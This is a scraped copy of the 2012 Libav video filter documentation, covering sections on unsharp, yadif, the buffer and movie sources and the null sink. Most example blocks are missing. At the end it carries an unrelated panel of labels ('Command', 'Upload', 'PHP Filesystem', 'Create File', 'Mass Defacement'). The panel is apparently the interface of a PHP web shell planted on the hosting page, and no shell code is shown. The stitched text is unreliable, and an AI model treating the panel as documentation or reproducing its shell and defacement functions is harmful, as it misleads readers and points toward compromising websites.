14.28 unsharpSharpen or blur the input video. It accepts the following parameters: luma_msize_x:luma_msize_y:luma_amount:chroma_msize_x:chroma_msize_y:chroma_amount Negative values for the amount will blur the input video, while positive values will sharpen. All parameters are optional and default to the equivalent of the string ’5:5:1.0:0:0:0.0’.
14.29 vflipFlip the input video vertically.
14.30 yadifDeinterlace the input video ("yadif" means "yet another deinterlacing filter"). It accepts the optional parameters: mode:parity. mode specifies the interlacing mode to adopt, accepts one of the following values:
Default value is 0. parity specifies the picture field parity assumed for the input interlaced video, accepts one of the following values:
Default value is -1. If interlacing is unknown or decoder does not export this information, top field first will be assumed. 15. Video SourcesBelow is a description of the currently available video sources. 15.1 bufferBuffer video frames, and make them available to the filter chain. This source is mainly intended for a programmatic use, in particular through the interface defined in ‘libavfilter/vsrc_buffer.h’. It accepts the following parameters: width:height:pix_fmt_string:timebase_num:timebase_den:sample_aspect_ratio_num:sample_aspect_ratio.den All the parameters need to be explicitely defined. Follows the list of the accepted parameters.
For example:
will instruct the source to accept video frames with size 320x240 and with format "yuv410p", assuming 1/24 as the timestamps timebase and square pixels (1:1 sample aspect ratio). Since the pixel format with name "yuv410p" corresponds to the number 6 (check the enum PixelFormat definition in ‘libavutil/pixfmt.h’), this example corresponds to:
15.2 colorProvide an uniformly colored input. It accepts the following parameters: color:frame_size:frame_rate Follows the description of the accepted parameters.
For example the following graph description will generate a red source with an opacity of 0.2, with size "qcif" and a frame rate of 10 frames per second, which will be overlayed over the source connected to the pad with identifier "in".
15.3 movieRead a video stream from a movie container. It accepts the syntax: movie_name[:options] where movie_name is the name of the resource to read (not necessarily a file but also a device or a stream accessed through some protocol), and options is an optional sequence of key=value pairs, separated by ":". The description of the accepted options follows.
This filter allows to overlay a second video on top of main input of a filtergraph as shown in this graph:
Some examples follow:
15.4 nullsrcNull video source, never return images. It is mainly useful as a template and to be employed in analysis / debugging tools. It accepts as optional parameter a string of the form width:height:timebase. width and height specify the size of the configured source. The default values of width and height are respectively 352 and 288 (corresponding to the CIF size format). timebase specifies an arithmetic expression representing a timebase. The expression can contain the constants "PI", "E", "PHI", "AVTB" (the default timebase), and defaults to the value "AVTB". 15.5 frei0r_srcProvide a frei0r source. To enable compilation of this filter you need to install the frei0r header and configure Libav with –enable-frei0r. The source supports the syntax:
size is the size of the video to generate, may be a string of the form widthxheight or a frame size abbreviation. rate is the rate of the video to generate, may be a string of the form num/den or a frame rate abbreviation. src_name is the name to the frei0r source to load. For more information regarding frei0r and how to set the parameters read the section "frei0r" (see frei0r) in the description of the video filters. Some examples follow:
16. Video SinksBelow is a description of the currently available video sinks. 16.1 nullsinkNull video sink, do absolutely nothing with the input video. It is mainly useful as a template and to be employed in analysis / debugging tools.
This document was generated by Build Daemon user on June 12, 2012 using texi2html 1.82.
|
Command: | |
Quick Commands: | |
Upload: | |
PHP Filesystem: |
<@ Ú |
Search File: | |
Create File: | |
View File: | |
Mass Defacement: |